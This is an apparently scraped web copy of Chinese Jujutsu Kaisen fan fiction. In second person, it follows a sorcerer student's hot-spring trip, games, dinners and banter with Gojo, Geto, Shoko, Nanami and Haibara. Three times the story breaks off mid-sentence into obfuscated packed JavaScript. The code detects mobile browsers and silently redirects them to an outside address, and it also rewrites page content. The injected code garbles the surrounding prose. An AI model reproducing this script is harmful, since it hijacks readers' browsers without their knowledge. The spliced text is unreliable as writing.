“这个啊,当然可以。”你听见五条悟磁性上扬的尾音,回头,瞧见他踏着木屐身穿浴衣,松竹纹样,白底金线,如果你没记错的话现在是外头在下雪的冬天。不过,很好看。他瞧了你一眼,很快收回视线,继续和热情的后辈交谈:“不过夏油带了游戏卡带和手柄,他想邀请你……” 你很善解人意:“你可以直接认输,灰原。” 他闻言表情凝重了起来。 灰原在权衡。 最终,他的决定是:“铃木,虽然很想和夏油前辈一起战斗,但是果然……男人不能不战而败!我要继续和你打完这一局!” 你问:“这就是最后的考量吗?” “……对!我是绝对不会退缩的。” “噗。”你低头掩唇笑了起来,递给他你手上的球拍:“去找夏油前辈吧,我们的胜负暂时封存,以后再开。” 说起来灰原是不太会退缩的,只不过……说起来有人一直没回你消息。 想到这里又有些忍不住发笑。 灰原走了以后,不大不小的乒乓室里就只剩了你和五条悟两个人。你在这个时候想起来要打招呼的事情了:“前辈好,如果没什么事情的话我就--” “站住。” “嗯?请讲。”你手撑在桌面上转身对着他,一副洗耳恭听的样子。 “听杰说……”五条悟似乎有一点迟疑,当你们四目相对的时候,你见到了他眼中的一抹犹豫,不过不管他中途思虑了什么,他都统一了身心,求证于你:“听他说,你不会和他在一起。” 你好像曾经是说过类似的话,因为就是几天前的事情也谈不上忘记,不过,原话和这个相距甚远吧? 你去一边台子上拾起了手机,找到那天你和夏油的短信界面,递给五条悟:“前辈,你是在问这个吗?” 他没看手机屏幕,但你从他的眼神中,看见了高傲的猫科动物嗅见小鱼干的动摇。五条悟问:“给我看?” “……给你肚子里的孩子看?”你的意思是,不然呢? 五条悟因为你的话瞪了你一眼,不过动作柔缓地接过手机,认真翻看了起来。他的眼神射线一样凝聚在你的屏幕上,一度让你想到认真攻读文献的自己,不过只是聊天记录什么的也…… 唔,坦诚说有一点可爱。 你踮起脚尖:“你看完了吗,前辈,已经过去挺久。你不会想把我的手机全都翻一遍吧?” 他发出一声气音,声音近似于打喷嚏,不过很明显,这是在展示脾气。 “不可以吗?” 呀,看来他也和所有小猫咪一样,是喜欢得寸进尺的类型。你回想了一下自己用手机做过的事项,然后对他摇摇头:“请便,如果前辈你想的话。” “你和杰怎么有这么多话说。”五条悟不满指数+1. 你试探性问:“因为我没有删记录的习惯?”老实说,你们只有在有事的时候会联系,不止针对夏油,他们都一样。 “不过原来铃木你也没有额外回别人消息嘛,”他扬起嘴角,但指责:“怎么能让前辈们的消息留在对话框最后呢。” 你充分领会他的意思,颔首:“好的,我继续保持。” 不过无论如何,他的心情最后都毁了,原因是你在除夕夜竟然和七海一起喝了酒。“还是你去找他的!在七海的房间!” 好会挑刺的一张嘴。你问他:“那下次邀请来我房间?” 你也是故意的,你其实并不那么乐意收拾残局,只是看见五条这幅样子就忍不住这样说了。 果然,他气得瞪你:“你那天没和我们出去跨年就是因为这个?” 实事求是说,不是这样。你不得不提醒他:“前辈,那天你还在生气。再说后一天我们也一起吃了汉堡和奶昔。” “我现在也在生气!” “而且,前辈,没人邀请我。如果我去了,大家的跨年夜就被我毁了吧。” 他想起了生气的事情,冷下脸来:“原来你知道自己在做什么啊,铃木。” “是,都是我的错。我已经认真反省并悔改了。”天杀的你有什么错?你只不过回应了他的期待而已。你伸出手,“我可以拿回手机了吗,前辈?” “你根本就--”他还想说什么,但幸好最终什么也没说:“总之,你不会和任何人谈恋爱对吧?” 不,你也没说过这种话吧。你盯着五条悟看,等他自己意识到不对自己改口。 “咳,至少在高专,你不会和谁恋爱,对不对?” “前辈……”你不想就这个话题再多聊,现在你明了了,不和五条悟谈感情相关才是上上之策。他这个人啊,既不给准话,也不想你忽视他。有点霸道,但并不令人厌烦,你不计较了,答应他:“不谈了,恋爱本身就很无聊。” 他还是皱起眉头:“你这话是什么意思?” “字面意思。”你看着他的眼睛,宛若海天相接处的耀目光芒,很少有人用摄人心魄来形容亮蓝色,那是他们的疏忽局限。你拿走了他没用力握住的手机:“谢谢前辈。” 你的目光还没移开,眼神清明,毫无蛊惑之意,然而他还是鬼使神差一样突然小了声,被诱惑一样地开口:“那个……铃木,我问你。” “嗯?” “如果,平安夜那天,我或者杰--我是说如果,我们中的一个提出和你交往……你会怎么做?”他问出口之前便想掩饰,说出之后更觉失言,尤其,你还没有立刻回答他。 你有一双黑色的眼睛,专注的时候看不出情绪。 五条表现得烦躁:“算了,反正你也不想回答对吧,无所谓的--” “我想,我会答应你的,前辈。”你移开了目光,看向空白的墙壁,告诉他:“至于夏油前辈,他应该不会做出那种事情,比起好感的烦恼,他心中在意的事情大得多。你没发现他总在暗自思考吗?” “不过。”你提醒他:“都过去了。夏油前辈前些天似乎误会我们在交往,其实没有,从来都没有,前辈。你从没问过我。” 你离开的时候,还听见他在小声地埋怨你,难得见他怅然若失的样子:“什么嘛,我主动才能交往,我才不相信呢。你也没多喜欢我。” 不过等到下午,他又活力满满起来。他开始愿意和你说话,并如常待你。 他还嘲笑你游戏打得烂。 “铃木,你太菜了。” “前辈,没有的事情。”你跪坐在电视机前不远处,手中紧紧攥着手柄,眼前是跳错了地方而重回起始点的像素人物。 “嘴硬。” 你记住自己的最高分,然后扭头,问他:“那你来?” “我都不用认真玩,就能超过你的最大里程。”五条悟绝对是在吹嘘,你是如此相信的。 然而,最后得意的人变成了他:“铃木,我是你的两倍。” “……” 接下来三个小时,你都被硬控在夏油杰带过来的卡带和手柄上。硝子一开始还有点感兴趣地押你能超越五条:“真好,你们又能说话了。” 后来,她靠在你的肩上睡着。 过程确实很无聊。 一命通关的路仅有一条,然而失败的路径却五花八门。你只能一次一次地重复从出发点再到死亡的过程,只为最后一次的成功。有些人会意识到这一绝望循环的荒谬性,并且想方设法脱身而出,最简单的方法莫过于放下手柄,承认自己浪费了人生中之前失败的几个小时。 然后无负担地去做别的事情。 你是更耐心的那种,或者说是更固执的那种。对于这种理论上存在可行性,实际上也确实有人抵达的小游戏,你清楚的知道你与高分的差距只不过在于一次次的锻炼,一次次飞跃。 如此,即便天赋各有高低,最后也不过是时间问题。 你选择把宝贵的温泉时间用在维持不要钱的面子上面。 在夏油杰把硝子从你肩膀上挪开的下一次,你成功超越了先前一次的自己,并且分数执着地变成了早就无聊离开的五条悟的两倍。 在那之后游戏性就完全消失了,小人物掉下悬崖对你毫无困扰。屏幕上金黄的字样闪烁着属于你的分数。 你放下早就被你握热的手柄。换了个姿势敲敲腿,扭扭胳膊,舒展久不动的身体。 夏油杰把睡得迷糊不清的硝子托在身前,他蹲在你斜后侧,盯着电视机上的分数:“铃木,你还真是……” 他这副哭也不是笑也不是的样子,诡异地满足了你的虚荣心,不过放在心里就好,说出来的是游戏之外的事情:“不用叫醒硝子前辈了,她近期睡眠不好。我抱她回房,让她再休息会。” “你可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13738130|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “当然,怎么说也是咒术师。”准确的说,你的身体在很多年前就强韧无比。你的臂弯抵住夏油杰先前撑扶硝子的地方,单膝跪地。另一只手寻找她的膝盖窝:“前辈,劳驾把硝子前辈的左手搭在我肩膀上。” 在夏油杰帮忙过后,你稳稳地站了起来,回到就在隔壁的你们的房间,将硝子安顿在整齐布置好的被褥中。关上庭院的玻璃门,拉上窗帘。 房间唯一的光源就只来自走廊中了,现在,那里的光下还有夏油杰的一抹剪影。 出去后,你拉上门,现在昏暗静谧的房间里就只有睡着的硝子。你和夏油在一门之隔的另一空间。 你这时才问他:“怎么了?” “你和悟和好了?” “也不能算是和好了……不过就和我们一样,我相信和五条前辈之间构筑好了恰当的距离。”你对夏油杰竖起了右手大拇指,自我夸耀解决问题能力一流:“夏油前辈,你对我还有什么疑虑吗?” “……”他面色古怪看了你一眼,面对形容坦荡的你反而什么都不问,只挑拣了像是随口想到的问题:“你在游戏上花了那么久,做同一件事,不累吗?我觉得,你甚至不喜欢玩游戏。”他是看见你达成目标后立刻不留恋地放下才作此推论。 发生不久的事情让你面上仍带荣光:“因为取得了阶段性成果,也不能说不喜欢。” “不疲倦吗?” “哦,我这个人,天生就不知疲倦。”你随口扯的,后面才觉得自己该认真点,你说:“你知道,作为一个女巫。” “……” “经过了断断续续被追杀的几个世代,以及不被普通人理解的世代,有关知识的书籍既宝贵又零散,还有多种语言。相信我,看书比游戏无聊多了,尤其是,付出在翻译文献上的努力……如果到最后却只发现那是被作者随笔用异乡文字写下的淫词艳诗,那才难以接受呢。我的意思是,我习惯了做没结果的事情,偶尔一两次达成好效果就行。比如现在这次。” 这是胡扯后一个简单的试探,你想看看自己的身份还套不套在头上。 可以肯定的是,他知道你不是完全的女巫,但或许还不知道你完全不是女巫 。 如果他愿意维持你的身份遮羞布,事情会好得多。 夏油杰在一阵安静中,选定了自己近期的立场:“女巫,我知道的。” 他是有些思虑,但心肠柔软,不优柔寡断,但在未知的状况下,仍然选择了文雅地相信你。夏油杰不总是柔和,但当下,仁慈是他底色。 此事你知他知,你对他眨了眨眼:“谢谢。” “铃木,星夏。我们总是这样称呼你,甚至有时都会忘了,这个名字只短暂的才归属你半年。那么你叫什么呢,女巫小姐?” 这个是真忘了,而且说白了名字是父母给的期盼--无论哪个角落,爱子的父母总会起个好名字。不过你没从他们那里继承任何东西,除了现在仍然行走在大地的躯体。 “以前有人叫我露西,但那也不是我的本名。后来就没人再称呼我的名字了。”你撩起因低垂头而散落额前的头发,抬头时眼波流转,这是一句毫不掺假的实话:“就像给小猫小狗起名字那样,时过境迁,我也可以随手丢到脑后。” “接下来的话可能有示弱色彩,但我一点儿那个意思也没有。”你告诉夏油杰:“除了我,没有人爱我,也没有人爱过我,所以我以前没有名字。现在,我选择了【星夏】,所以我就叫这个了。不必纠结我以前的姓名,前辈,那毫无意义。不过你和五条前辈倒是有不错的好名字,一个杰出出列拔萃,一个空无大彻大悟,至少看起来寓意都不错。” 被寄予杰出厚望的年轻人看着你的微笑,说不出一句话。他的舌苔沉甸甸的,半晌之后才找回知觉一样调动感官,掩饰一样地偏开头,甚至忘记感谢你的好名赏析。 “我以后可以叫你星夏吗?” “当然,别当五条前辈的面那样就好。”你走动几步到他们的房间门口,弯腰捡起了之前脱下的靴子,方才抱着硝子的时候没穿鞋。 你把她的鞋挪到你们房间门口,然后脚踩进你的靴中:“难得来这么贵的地方,我必须要出去逛一圈。否则晚餐过后就是庭院温泉赏雪,只拘于小小的院落,还是亏大了。” 你认真告诉夏油杰自己的多年心得:“有的时候初来就是最后一次,即使当初本以为【我还能二刷】。前辈,珍惜为数不多的机会。” “……”夏油杰的神色鲜活起来,又是哭笑不得的那种:“你去吧,注意防滑。” 40.第 40 章 这里的室外除了石与木材的人造景观,还有树林和雪的自然馈赠。旅馆位于距离源头温泉不远的山谷中,几百年前就发展了温泉产业,得天独厚的自然环境至今保留。 你踩着松软的雪淌过冬季涓流还不干涸的小溪,在树间向上走。就在山上独自消磨了一会儿时间。现在,你已经不太讨厌寒冷的空气和季节了。你还在水杉树林的回廊中看见一条通往露天温泉的路,不过现在是冬天,想来应该没什么人。 你在途经的一个小木屋里取了一片热毛巾,然后原路返回了出发点旅馆。 正好也到了晚餐时间。 今天,吃上了传说中很贵的怀石。面对你肉眼可见的期待,硝子在起床后告诉你,怀石的原意据说是:禅宗修行简朴,一天一顿饭,冬季寒冷,有僧侣因此难以抵抗,最后折中一下--一边用温暖的石头取暖一边继续一天一顿饭苦修。 她整理床铺的时候评价:“不过现在怀石变成高级料理了,只是上菜时间很长……我的意思是你可以带上摄像机。” 今天,你学会了一个词,祛魅。 你和硝子携手抵达个室准备用餐时,迎面赶上灰原的问候:“铃木,你下午去哪了?我们回来以后就看不见你人了!” “去山上走了一圈,风景真好。”房间木质格栅的窗搭配玻璃,你能轻易见到外面被雪覆盖的竹叶,还有就在木头推拉门旁边房间的厨房,看样子是才搭的? 这就回到了你当前比较在意的问题:“今晚吃什么?” 灰原开心的脸上吐出了梦幻的字眼:“松露牛肉和松叶蟹。” 放弃祛魅,这顿饭就是耗时三小时,也值得一吃。 虽然如此你还是像没见过世面一样给每道菜都拍了照片。“如果以后我不做咒术师,可能就吃不起这么好的饭了。” 灰原坐在你旁边很认真地探讨:“做的话总感觉也困难,薪水虽然不少,但还要生活呀。” “哎。” “唉。” 坐在你另一边的硝子挨个敲你们的头。不过接下来的话题依旧是,如果可以自由选择职业,大家会做什么? 硝子的兴趣爱好兼有女性化的一面和超出社会刻板印象的一面,她的选择是:“要在繁华市区的酒吧里做调酒,起床外食逛街购物,步行上夜班,最后天蒙蒙亮的时候打烊回家。居酒屋不行,太多大叔了,而且比较而言还是西洋对女性更开放。” 你发自内心为她鼓掌:“一听就非常具象化的理想,硝子前辈你想很久了吧?” 她喝了一口杯中情酒,回答:“平均每三天一次后悔入行。” “硝子,你不至于吧。”五条悟的表情诉说了他的惊讶,也许他头一次听见这种事情。 “也是年纪轻轻就到了怨恨工作的阶段。”你和她碰杯。 接下来回答的是七海,答案和人一样不带悬念:“做能赚钱的。赚钱,然后去第三世界国家拥抱人生。” 灰原鼓着嘴问出伤人的话,对面的人表情恐怖:“那什么才能赚钱呢?” 七海就是把可乐拿起来泼他脸上你都不意外,你解围,帮七海做职业生涯规划:“医生律师科技制造都有很高的入职门槛,公司赚钱人际关系不可小觑,果然,到最后就只有股票金融一条路走了。” 灰原露出了崇拜的表情,而五条悟在一边评价:“那可得小心,不然血本无归。” 夏油杰也点了点头:“风险一点不比做咒术师小。” 舆论风向如此,所以你热心帮助的对象一点也不领情,看起来比起灰原更难以忍耐你:“铃木,说说你的,不然闭嘴。” “不嘛,我想听灰原的。”不做咒术师能做什么?什么都可以,老实说你偏好不多,近期想的是摄影。但过些年谁又知道呢? 灰原犹豫了片刻,再三和你确认,说了两次“铃木,你不许嘲笑我。” 得到你的肯定后,给出的答案是:“在我小的时候,新年大家都要吃打年糕,我很喜欢跟在家人的后面去街坊购买。他们会有木墩和木杵打放入其中逐渐成团的白米,一个人快速翻动,另一个人不停地抡起杵捶打……那个时候大家都很开心,路过的人偶尔也会停下来观看。我觉得就和米饭还有人打交道,如果我的工作能让别人有【停下脚步观赏一眼】的好处,就是去店里帮别人打年糕售卖也是很好的。” 没人说话。你对他说的事情很好奇,超过了他的质朴愿景本身:“打年糕好吃吗?”听起来很有趣的样子,你从没见过他说的东西。 “国中的时候他们就关门了……可是重点根本就不是这个吧铃木!”说完话以后灰原又犹豫起来,向没有提问的你们解释:“当然我不是说做--高专的学生、不好,能在普通人触及不到的领域帮助他们消除隐患,我还是挺骄傲的。” 你点评:“相当纯粹的理想,灰原就是传说中干一行爱一行的【老板最爱】型员工吧!” 他小声吐槽:“总感觉不是好话。” 但是在你对面的夏油杰附和后,灰原立刻改了口:“谢谢前辈!” 你想,灰原之所以最崇拜夏油,大约是他们都信仰概念化的东西,他们都想要一切和平安然无恙。 并不出乎意料的一点是,夏油杰,五条悟,他们都没有思考过除了咒术师外的职业选择。 “五条前辈还可以理解,夏油前辈你是什么时候接触咒术界的?”毕竟是普通人家的小孩,你有此问题并不突兀。 “什么叫五条前辈还可以理解,铃木,解释。”这个问题被你忽略了。 “我想想。”坐在你对面的人歪头,手指点了点脑袋,他在思索:“也就是国中那段时间。” “之前完全没考虑过要做什么吗?” “嗯……因为很早就能看见咒灵,但是别人是看不见的,加上术式原因,比起未来要做什么,恐怕更多的还是在思考我能做什么。”孩子的责任心是天生的,这点在夏油杰身上得到了体现。 他的回答也引起了你的思考,今天晚上上菜确实很慢,但温暖明亮的房间,别致的庭院冬景,还有热闹的氛围,让你打开了思路。你说:“这么说来,咒灵操术是一门非常有前景的能力。前辈,如果你去工地搬砖,一个人就是一台起重机。” “……”沉默破碎,是听到你畅想的夏油杰。 “有前景?哈哈哈哈哈哈”嘲笑声很大的是五条悟。 “星夏,不愧是你。”看热闹不嫌事大,硝子拍了拍你的肩。 七海被分担了不中听的苦恼,脸色稍霁;灰原摇晃你:“不要这样说啊铃木!” 你躲到硝子怀里,免了脑壳摇晃:“不过,即使是在咒术界,你的术式也是特殊的那类。你是怎么知道驯服咒灵的方式是吞服呢?一般来说很难预料到。” 夏油杰回忆起来:“小学的时候,零零散散无意识地袚除了一些咒灵,某天,突然就……我也说不好,可能是潜意识里的举动吧。再然后就这样到了国中,被夜蛾老师招募,毕业就来高专了。那时倒没人说过我有稀有的术式,我以为咒术界人人都很强。” 你帮他补足了下面部分:“就这样到了特级。真是坦途人生啊,听起来值得羡慕。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13742220|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 你要是过着那种生活,现在也寿终正寝,深埋地下好多米…… 这么说来其实也不用太向往? “坦途,羡慕……吗?”夏油杰的微笑里,有些苦涩,但他不习惯反驳并直抒胸臆。他说:“也许吧。” “喂,铃木,你盯着杰问这些做什么,说说你的。”五条悟的一个响指,提示接下来该是你发言。 “我啊。”大家的回答都很真实,你也要上点心来回应。在你停顿的这段时间里,你给出了下一阶段切实的人生目标:“本来想说想吉普赛人一样随处漫游的,不过这样说既无乐趣也没规划。我想,我会选择去研究炼金术和熔炉吧。首先,热炉火旁总是很暖和,而且明亮,再者俗话说得好:【大地的一切宝藏都在火中揭示】。这不是很有趣吗?” 现在,你已经是一个爱玩火的女人了。 但你的爱好太小众,在场其他五位正统的亚洲人难以理解。 五条悟看了眼你正握杯的手:“玩什么炼金术,你手上的疤还没消呢。” “那个是不小心。”你也低头看虎口,短期内看来是消不掉,两道月牙会随你很久。 “你都能被四级伤到……”无下限术式持有人的高傲尽数体现,他对你的不听劝仍然耿耿于怀:“交给我做不就好了吗?” “这可不行。”每个咒灵都是宝贵的业绩财富,近些日子本来就收益微薄,没了它们谁来铺就你的坦途? 五条悟因为你的话抬起了头:“嗯?” 你想了些话找补:“前辈,你当然很强,可我的那部分事情终究要自己做。对生活的持续投入即便不完全够,也让我感到存在快乐和自由。” 321上价值。 你成功堵住了前辈的嘴。 “铃木,你说的我好感动。” “那你分半罐可乐给我。”你朝灰原伸出要饮料的杯子和手。 他保护了自己的红色罐罐:“不要。” 追寻意义?那才不是你呢,你成长在一个【活】都艰难的年代,往上走,过得好,这就是你追求的,而且一定存在的,看得见摸得着的全部。即使到现在,也不曾改变。 你的意义早就有了,相比于成为具名者的目标,它唾手可得,近在咫尺,而你也觉得不会因此忘记它的重要。 晚餐的时间还是太久,中途你还有空跑出去在窗边搓了两个圆球,垒在石头上。回来以后你又在室内的窗边,凭着室内温暖空气形成的雾气,为窗外不能称之为雪人的东西点上了眼睛:“这是……” 它有点丑。 也许,你缺乏铸造天赋,所以不能说这是自己,但是无论说这是在场的谁恐怕都有些得罪人。你想起了一直很关心你的师长:“这是夜蛾老师,虽然高专工作繁忙,但是我们就假装他也能休假……吧。” 硝子:“那老师太可怜了,几天没休息就变成了这样。” “也不是因为工作,听说了吗?他最近和夫人在闹离婚。”五条悟轻巧揭开了备受尊敬()的师长光鲜的外衣。 这种事情你才没有听说,你蹲在一旁看冷玻璃凝聚脆弱的水雾,寒气从窗外透到鼻尖。你随口说:“是么,他真不幸。看样子也不像以后能结婚的。” 夏油杰摇头:“铃木,你也没放过老师。” “她不是一开始的起头人吗?”五条悟支着下巴,信手一指你和你旁边隔窗的雪墩墩:“最不无辜的就是你了,铃木。” 后辈在场,三位二年级生整体比较收敛,没在教师八卦上停留太久。你们东拉西扯,直到晚餐时间的尽头。 41.第 41 章 你噗通跳下水的时候还裹着浴巾,然后它漂在水上,做你的遮挡。 “星夏,有点放不开哦。”硝子敷上面膜,她的脸在月光下黑黢黢的,布料并不反光,“我又不会偷看你。” “说是这么说的,前辈你这不也看了吗。” “光明正大看的不算。”她单手扬起水花,泼你身上。雾气缭绕的环境里,你们几乎肩并肩靠在一起,她的头发扎成马尾小辫,而你的被抓夹固定在头上。 又经过十分钟的确认,你宣布:“我挺喜欢泡温泉的。”这时你的脸上也敷上了硝子友情提供的面膜,热意透过温泉水包裹你的身体,难怪他们冬天还提供冰棒。 “应该说没人不喜欢。不过如果人很多就另当别论,我不喜欢和不认识的人一起洗澡。” 你想起被科普的温泉守则123,首先,是不穿泳衣,其次,是务必要洗干净身体再下汤池。你点头称是:“我也喜欢独立卫浴。” 随后,硝子拍着水花,和你闲聊了许多炼金术的话题。她以前都不知道你对此兴趣颇深。 巧合的是,你微笑着轻点水中波纹,想着,你也是几天前才知道。 当说到炼金术在物理化学已成体系的21世纪要如何发展时,你意识到话题太深入了,应当止步。你就说:“有了财富,贤者们就能呼风唤雨随心所欲了,所以物质的正当性我们能从名字中提取--拥有财富的人最高贵。【贤者之石】,点石成金的魅力还有能带来的社会地位,即使是我也抵抗不了呢。” 本质也就是把贱金属变为贵金属,最好是黄金。 硝子:“我懂了,你喜欢钱。” “哎呀,被前辈发现了。” “这点和冥前辈也挺像的。她毕业以后做了自由咒术师,赚的可比合同工多不少,但她自己也有别的渠道。星夏,如果你……” 又到了少女在星空下畅想未来的时候:“但是你能帮谁治疗呢?” 你想了想,客户全在咒术师这边,其他的,也就是:“无情狠厉但有钱诅咒师?治好以后就不好说了呀,我应该把他们扭送总监部吗?再赚一笔悬赏费。” “哈哈哈哈哈哈哈,更应该担心自己的安全才对。还是别了,我们可以一直在高专。”她对你承诺:“以后我会是校医。我就任的第一天就在医务室装台电脑,你可以在隔间里玩。” 你点头接话:“我们差一个年级,那等我毕业了还有什么岗位呢?不如我做战地医生,天天出外勤。是时候考虑在筵山周边买个房子了。” 然后不回学校只回公寓。高专的网络哪里会有山下居民区好。 前辈被你伤透了心,她先起身。 过了一会,她套着浴衣又到庭院里找你,为你带来了水果和棒冰,劝告你:“即使在东京周边,房价也不便宜。你不要泡晕了,可以先起来休息一会。” 硝子蹲在石头边撩水花的样子,让你觉得自己像一条被投喂的鱼:“好,那以后我住你隔壁。我们可以在你的房间里一起抽烟喝酒。” “……星夏,你学点好的。” 你在池子里一步一步往岸边靠,然后一拉硝子的手腕,突然把她拉进温泉里。 “喂!” 又是噗通一声响。水花扑腾声后,你的前辈从忧郁中脱离,对你怒目而视。 隔壁的庭院里传来门被快速推开的响动,然后是五条悟的呼声:“你们那边没事吧?” 竹子编制的墙垣不隔音,他的叫喊是水花后更大的动静。 “没事。硝子前辈掉水里了。”你剥了一个葡萄,送到连头发都湿了的人嘴边。 那边有窸窣的响动,然后五条悟说:“笨手笨脚的,你们小心点。” 紧接着葡萄忽略温泉礼仪掉进池子里,你的脸被雪球袭击。 现在你叫唤,声音在雪花落时都有声的庭院里回旋:“硝子前辈用雪球攻击我唔--” 不仅如此,看样子她还想把你扑到水里。 现在浴巾像水母一样浮在雾面上,你是裹着水母的寄居蟹,离了它就没有安全感。你欲携家远行,轻薄的房子一段却被狠心的前辈死死拽住。她的衣衫湿透像水草,手也是,缠住你的安全感本体。 “不许走,受死。”你竟然不知道硝子也有杀意浓厚的时候,她平常看起来和医者仁心关系不大,但也不是这幅愤怒面孔。 “噫噫噫呜。”闯祸的你钻到水里,丢盔弃甲,在不大的池子里一口气扑腾到岸边,浮起的时候脸部因为水温而发红,发髻也湿了,“我手快,下次一定不把你拽到水里了。” 承认错误不直接代表被原谅。 “喂,铃木,硝子,你们那边到底--” 浴巾盖头渔网一样铺就你头上以后,你就什么也听不见了。你被你的硝子前辈捕捞了,她真是个强健有力的渔民。 再次见到隔壁房间的同学前辈们时,你的头发已经快被吹干了,嘴边是棒冰和葡萄的余味。 “我或许有做水鬼的潜质。” 然而硝子斜了你一眼,你就不开玩笑了,扭头看墙上的影子,你的很短,又被墙拐角折了半截,畏畏缩缩在后头,不敢妄动;硝子的斜长,光影分明,正合她现在的气场。 硝子说:“我今天洗了三次澡。” 这里的水不用额外交钱,你愿意提醒她。 更晚些时候,你伺候受水质影响而头发干涩的前辈梳头,然后你们躺下。 “你的头发很长,不梳通顺吗?”好在她消了气,在最后还乐意问你。 你懒得打理:“累了,下次再说,实在不行就剪了。” 咔嚓咔嚓咔嚓,你可以随时舍弃不必要之物。 在回去的路上你是有一些不舍的,上了车后你还留心隔绝窗外后撤的风景。 “舍不得吗?” “毕竟是好日子。”人间的财富不若辉光,然而其中景色能超越漫宿居民最深的梦。人类的鉴赏与创造的能力在善与恶的数条道路上都走了很远--大体来说,你没觉得哪里格外险恶。 作为世界的霸主,或有失察;不过作为地球上的千万种族之一,做人类仍然有比沦为其他物种更优越的地方。 比方说,牛。 今天你们的午餐是牛肉拉面。 下午有任务。 “铃木,你怎么没精打采的。”你坐在巴士倒数第二排,倚窗合眼,最后坐着两个同行者,其中一个活力满满,还在给你的头发打结。 东亚人的强韧发质令他失败了。 “新年了,但是不知道做什么。”梦中的你每每流连于铸造场和赤红教堂,偶尔还去林地里避一避光。然而醒来后的情状倒像是普通人的梦一样了。 日夜颠倒。没什么要做的,不知所措,昏昏欲睡。 这种情绪叫迷茫。 五条松开你的头发:“不是马上有任务吗?” 你反问:“需要我做什么呢?” 他因此断言:“原来你是无聊了。过会你可以跟我和杰一起走,结束以后我请你们吃饭。” 五条悟是一个擅长激励人心的前辈,你肉眼可见高兴起来。 清理一些夏油都不会在意的藏污纳垢角落让你精深振奋。你在两位前辈不以为然的背面进行一轮喜悦地丰收。 他们大体算是尊重你,由得你落后许多浑水摸鱼,但不理解。 现在,你的工作压力比往日更甚,你要侍奉二主,而且谁也不能短缺。无论如何,适格之人当奉上诚意,并且宣誓永不背叛。 至少你也会如此宣称,在实际行动作出之前。 任务结束后,因为你“什么都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13749647|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没做,并且拖慢了进程”,被褫夺了选择晚餐的权利。你们走在前往寿司的路上。 你告诉他们:“我对和食一般。”然后五条悟兴高采烈地选了它,好消息是,店铺在不远处的商场中。 你一开始走在他们身后很多步,被提醒了几番后仍不悔改,消极抵抗,最后被术式吸到他们中间。 “快点走很难吗,我饿了!” 你摸摸肚子:“我也饿了。” 一直如此,你旨在劝告五条悟学会忍耐。 结果他推你一把,宽厚的掌心力气挺大:“那你快点。” 你被抵着一侧肩膀,身后人的固执传达到你身上,你侧过身用你的左手环胸覆盖它:“前辈,你身高190,腿长更不必说。如果说我的一步有80厘米,那么你的……” 你感觉到五条停顿片刻后矜贵地快速缩手,但声音高昂:“怎么,铃木,你承认你腿短了?” “话不能这么说……”短吗?你现在是中位数的身量,既不娇小,也不高挑,冬天穿上随处可见的外套再买条厚围巾躲进风尘仆仆的人群里,就可以像墨点融入画一样。你确定:“不好用自己的优势去嘲笑正常人吧,太傲慢了。” 这下他心情好了,乐呵呵地:“你胡说,硝子说她最欣赏我的谦逊。” 你开始寻找外援:“夏油前辈。”诚邀第三方评审。 夹在好友和后辈中间,夏油杰被点名后也对你的肩膀伸了出手。他礼貌地拍拍:“铃木,我也有185.所以……” 你叹气:“都怪我小时候营养不良。没过上少爷们的优渥生活。” 杀死比赛不算什么,在用餐时你还吃的最多。 也许他们本来有点不好意思,可到吃得胳膊悬在椅子上,只能看你面色如常继续动手时,先前的情绪便消散,只剩惊叹了。 夏油杰的岔开腿,但比起用椅子玩平衡的五条更有礼仪的是,他的胳膊还没离开桌。双手呈M型,下巴摆在手背上,他询问你:“吃饱了吗?” “还成,多谢款待。”你品尝了很多以前没吃过的东西。其中你比较欣赏的是鲜甜烫口的海胆茶碗蒸,生的不如熟食。 你最欣赏的热菜是放了烤肉和油炸蟹棒的拉面,最欣赏的冷菜是美乃滋超量而松露只是价格水位催化剂的酸甜土豆泥。 在知道这件事后,五条悟拍了你的头顶,一副遗憾的样子:“我很少为金枪鱼和河豚不平,但是你……要说吃不惯,偏偏每一贯你都没有排斥地吞下去了。” “我不吃它们也会死的。”你放下甜品勺,被拍脑袋的力道弄得下颌一震一震,拿起手边湿巾擦嘴:“虽说事情环环相扣,但我认为捕捞的人应该负很大责任,其次出售方,最后是真正为它买账的消费者。” “是,都是我的错。”他像摁按钮一样镇压了你的脑壳,“送你去便利店你就老实了,很少有动物在那受到伤害,环保卫士。” 坏了,不存在的伦敦回忆涌上心头,他们是怎么称呼这个症状的? 对了,现在应该说你是精神白左了。 你笑起来对买单人讨饶:“我不是那个意思,谢谢五条前辈。” 